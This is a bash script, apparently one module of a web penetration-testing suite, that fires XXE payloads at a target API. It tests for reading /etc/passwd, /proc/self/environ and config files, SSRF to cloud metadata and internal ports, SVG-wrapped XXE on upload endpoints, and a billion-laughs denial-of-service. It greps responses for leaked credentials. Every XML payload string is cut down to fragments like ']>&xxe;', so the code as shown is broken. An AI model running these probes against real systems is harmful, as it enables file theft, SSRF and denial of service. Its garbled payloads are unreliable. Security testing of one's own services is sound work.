#!/bin/bash
# 29 - XXE (XML External Entity) Injection
# Tests all endpoints that accept or might accept XML payloads
# Covers HTTP/1.1 and HTTP/2, OOB probes, blind XXE, XXE via SVG/DOCX wrappers
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)"
source "$SCRIPT_DIR/../config.sh"
OUT_FILE="$OUT/29_xxe.txt"
echo "=== 29. XXE Injection ===" | tee "$OUT_FILE"
echo "Target: $TARGET API: $API_TARGET" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"
W() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; }
do_xxe() {
local label="$1" payload="$2" ct="${3:-application/xml}"; shift 3
local body code
body=$(curl -sk --http2 --max-time 10 -A "$BROWSER_UA" \
-X POST -H "Content-Type: $ct" -d "$payload" "$@")
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
-X POST -H "Content-Type: $ct" -d "$payload" "$@")
printf '[%s] %s\n' "$code" "$label" | tee -a "$OUT_FILE"
# Check for file disclosure patterns
if echo "$body" | grep -qiE '(root:|daemon:|/bin/bash|localhost|127\.0\.0\.1|pqcrypta_user|DB_PASS|SYSTEM ENTITY)'; then
echo " [VULN] Sensitive content in response:" | tee -a "$OUT_FILE"
echo "$body" | grep -ioE '(root:|daemon:|/bin/bash|localhost|pqcrypta_user|DB_PASS)[^\n]{0,80}' | head -3 | sed 's/^/ /' | tee -a "$OUT_FILE"
fi
}
# ── Basic XXE payloads ────────────────────────────────────────────────────────
XXE_PASSWD=']>&xxe;'
XXE_ENV=']>&xxe;'
XXE_HOSTS=']>&xxe;'
XXE_CONFIG=']>&xxe;'
XXE_SSRF=']>&xxe;'
XXE_SSRF_INTERNAL=']>&xxe;'
XXE_BILLION_LAUGHS=']>&lol4;'
# ── 1. API endpoints with application/xml ─────────────────────────────────────
echo "--- API XML Content-Type ---" | tee -a "$OUT_FILE"
for ENDPOINT in /encrypt /decrypt /generate-keys /status; do
do_xxe "XXE /etc/passwd → $ENDPOINT" "$XXE_PASSWD" "application/xml" "$API_TARGET$ENDPOINT"
do_xxe "XXE /etc/hosts → $ENDPOINT" "$XXE_HOSTS" "application/xml" "$API_TARGET$ENDPOINT"
done
echo "" | tee -a "$OUT_FILE"
# ── 2. API with text/xml ───────────────────────────────────────────────────────
echo "--- API text/xml Content-Type ---" | tee -a "$OUT_FILE"
do_xxe "XXE text/xml /etc/passwd" "$XXE_PASSWD" "text/xml" "$API_TARGET/encrypt"
do_xxe "XXE text/xml SSRF to metadata" "$XXE_SSRF" "text/xml" "$API_TARGET/encrypt"
echo "" | tee -a "$OUT_FILE"
# ── 3. SSRF via XXE ───────────────────────────────────────────────────────────
echo "--- SSRF via XXE ---" | tee -a "$OUT_FILE"
do_xxe "XXE SSRF → AWS metadata" "$XXE_SSRF" "application/xml" "$API_TARGET/encrypt"
do_xxe "XXE SSRF → internal API :${INTERNAL_API_PORT}" "$XXE_SSRF_INTERNAL" "application/xml" "$API_TARGET/encrypt"
do_xxe "XXE file → config.php" "$XXE_CONFIG" "application/xml" "$API_TARGET/encrypt"
do_xxe "XXE file → /proc/self/environ" "$XXE_ENV" "application/xml" "$API_TARGET/encrypt"
echo "" | tee -a "$OUT_FILE"
# ── 4. XXE via JSON endpoint with XML body (content-type confusion) ───────────
echo "--- Content-Type Confusion (XML body to JSON endpoint) ---" | tee -a "$OUT_FILE"
do_xxe "XXE in JSON-declared endpoint" "$XXE_PASSWD" "application/xml" "$API_TARGET/encrypt"
# Also try with JSON content-type but XML body
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
-X POST -H 'Content-Type: application/json' -d "$XXE_PASSWD" "$API_TARGET/encrypt")
printf '[%s] JSON Content-Type with XML body\n' "$code" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"
# ── 5. XXE via SVG upload path ────────────────────────────────────────────────
echo "--- XXE via SVG (image/svg+xml) ---" | tee -a "$OUT_FILE"
SVG_XXE=']>'
for ENDPOINT in /upload /convert /process /render /image; do
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
-X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$API_TARGET$ENDPOINT")
printf '[%s] SVG XXE → %s\n' "$code" "$ENDPOINT" | tee -a "$OUT_FILE"
done
# Also check PDF tools API
code=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
-X POST -H 'Content-Type: image/svg+xml' -d "$SVG_XXE" "$TARGET/pdf/api.php")
printf '[%s] SVG XXE → /pdf/api.php\n' "$code" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"
# ── 6. Billion Laughs (XML DoS) ───────────────────────────────────────────────
echo "--- Billion Laughs (XML Entity Expansion DoS) ---" | tee -a "$OUT_FILE"
START=$(python3 -c "import time; print(int(time.time()*1000))")
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
-X POST -H 'Content-Type: application/xml' -d "$XXE_BILLION_LAUGHS" "$API_TARGET/encrypt")
END=$(python3 -c "import time; print(int(time.time()*1000))")
ELAPSED=$((END - START))
printf '[%s] Billion laughs entity expansion — %dms\n' "$CODE" "$ELAPSED" | tee -a "$OUT_FILE"
[ "$ELAPSED" -gt 8000 ] && echo " [WARN] Slow response — server may be expanding entities" | tee -a "$OUT_FILE" || \
echo " [OK] Fast rejection — entity expansion not processed" | tee -a "$OUT_FILE"
echo "" | tee -a "$OUT_FILE"
# ── 7. HTTP/1.1 vs HTTP/2 XXE consistency ────────────────────────────────────
echo "--- Protocol Consistency (HTTP/1.1 vs HTTP/2) ---" | tee -a "$OUT_FILE"
for PROTO in "--http1.1" "--http2"; do
code=$(curl -sk $PROTO -o /dev/null -w '%{http_code}' --max-time 10 -A "$BROWSER_UA" \
-X POST -H 'Content-Type: application/xml' -d "$XXE_PASSWD" "$API_TARGET/encrypt")
printf '[%s] %s XXE /etc/passwd\n' "$code" "$PROTO" | tee -a "$OUT_FILE"
done
echo "" | tee -a "$OUT_FILE"
echo "=== 29. XXE COMPLETE ===" | tee -a "$OUT_FILE"